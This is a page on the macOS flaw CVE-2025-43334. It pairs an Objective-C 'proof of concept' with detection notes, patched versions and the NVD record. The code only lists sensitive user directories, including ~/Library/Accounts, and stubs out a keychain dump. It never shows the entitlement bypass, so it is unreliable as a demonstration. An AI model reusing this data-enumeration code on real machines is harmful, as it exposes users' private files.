CVE-2025-43334

// CVE-2025-43334 PoC - macOS Entitlements Bypass // This PoC demonstrates attempting to access sensitive user data // Note: This is a conceptual PoC for educational purposes only #include <Foundation/Foundation.h> int main(int argc, const char * argv[]) { @autoreleasepool { // Attempt to access sensitive data paths NSArray *sensitivePaths = @[ @"~/Library/Application Support/", @"~/Library/Preferences/", @"~/Library/Accounts/", @"/Library/Application Support/" ]; NSFileManager *fileManager = [NSFileManager defaultManager]; NSError *error = nil; // List contents of sensitive directories for (NSString *path in sensitivePaths) { NSString *expandedPath = [path stringByExpandingTildeInPath]; NSArray *contents = [fileManager contentsOfDirectoryAtPath:expandedPath error:&error]; if (contents) { NSLog(@"Accessible: %@", expandedPath); for (NSString *item in contents) { NSLog(@" - %@", item); } } } // Check for Keychain access (if entitlements allow) // [KeychainAccessHelper attemptKeychainDump]; return 0; } } /* Detection Method: 1. Monitor application entitlement requests 2. Check for unauthorized data access attempts 3. Verify entitlement validation in system logs Required Fix: - Apply macOS Sequoia 15.7.2, Sonoma 14.8.2, or Tahoe 26.1 - Review application entitlement requirements */

{"cve": {"id": "CVE-2025-43334", "sourceIdentifier": "[email protected]", "published": "2025-11-04T02:15:40.220", "lastModified": "2026-04-02T19:20:29.097", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "This issue was addressed with additional entitlement checks. This issue is fixed in macOS Sequoia 15.7.2, macOS Sonoma 14.8.2, macOS Tahoe 26.1. An app may be able to access user-sensitive data."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-284"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:apple:macos:*:*:*:*:*:*:*:*", "versionStartIncluding": "14.0", "versionEndExcluding": "14.8.2", "matchCriteriaId": "9827CBDC-8C03-46BA-B534-8533F0975804"}, {"vulnerable": true, "criteria": "cpe:2.3:o:apple:macos:*:*:*:*:*:*:*:*", "versionStartIncluding": "15.0", "versionEndExcluding": "15.7.2", "matchCriteriaId": "4BE8199E-63D1-496C-B107-52853CFC2311"}]}]}], "references": [{"url": "https://support.apple.com/en-us/125634", "source": "[email protected]"}, {"url": "https://support.apple.com/en-us/125635", "source": "[email protected]", "tags": ["Release Notes", "Vendor Advisory"]}, {"url": "https://support.apple.com/en-us/125636", "source": "[email protected]", "tags": ["Release Notes", "Vendor Advisory"]}]}}